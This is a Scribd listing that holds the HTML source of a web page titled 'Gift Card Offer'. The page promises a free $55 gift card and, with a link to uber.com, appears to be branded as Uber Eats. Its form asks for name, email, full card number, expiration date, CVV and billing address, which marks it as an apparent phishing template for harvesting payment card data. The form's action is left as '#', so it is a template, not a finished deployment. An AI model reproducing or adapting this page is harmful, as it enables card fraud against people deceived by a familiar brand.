Scribd
Upload
264 views2 pages

Uber Eats Page - HTML

This document is a web page offering a $55 gift card. It contains a banner with the company logo. The main content has a heading stating "Get Your Free $55 Gift Card!", instructions to complete the form to claim the gift card, and a form requesting name, email, card number, expiration date, CVV, and billing address. Upon submitting the form, it directs to the company website.

Uploaded by

kevinfisher1
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
264 views2 pages

Uber Eats Page - HTML

This document is a web page offering a $55 gift card. It contains a banner with the company logo. The main content has a heading stating "Get Your Free $55 Gift Card!", instructions to complete the form to claim the gift card, and a form requesting name, email, card number, expiration date, CVV, and billing address. Upon submitting the form, it directs to the company website.

Uploaded by

kevinfisher1
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

<!

DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Gift Card Offer</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
}
.banner {
background-color: #007bff; /* Banner background color */
color: #fff;
text-align: center;
padding: 10px;
}
.banner img {
max-width: 100%;
height: auto;
}
.container {
max-width: 600px;
margin: 0 auto;
padding: 20px;
background-color: #f4f4f4;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}
h1 {
text-align: center;
}
form {
margin-top: 20px;
}
label {
display: block;
margin-bottom: 8px;
}
input[type="text"],
input[type="email"],
input[type="number"],
input[type="submit"] {
width: 100%;
padding: 10px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 3px;
}
input[type="submit"] {
background-color: #007bff;
color: #fff;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="banner">
<img src="your-logo.png" alt="Company Logo" width="150">
</div>
<div class="container">
<h1>Get Your Free $55 Gift Card!</h1>
<p>Complete the form below to claim your gift card.</p>
<form action="#" method="post">
<label for="name">Name:</label>
<input type="text" id="name" name="name" required>

<label for="email">Email:</label>
<input type="email" id="email" name="email" required>

<label for="cardNumber">Card Number:</label>


<input type="text" id="cardNumber" name="cardNumber" maxlength="16"
required>

<label for="expiration">Expiration Date:</label>


<input type="text" id="expiration" name="expiration" required>

<label for="cvv">CVV:</label>
<input type="number" id="cvv" name="cvv" required>

<label for="billing">Billing address:</label>


<input type="text" id="bill" name="bill" required>

<a href="uber.com" target="_blank">


<input type="submit" value="Submit">

</form>
</div>
</body>
</html>

You might also like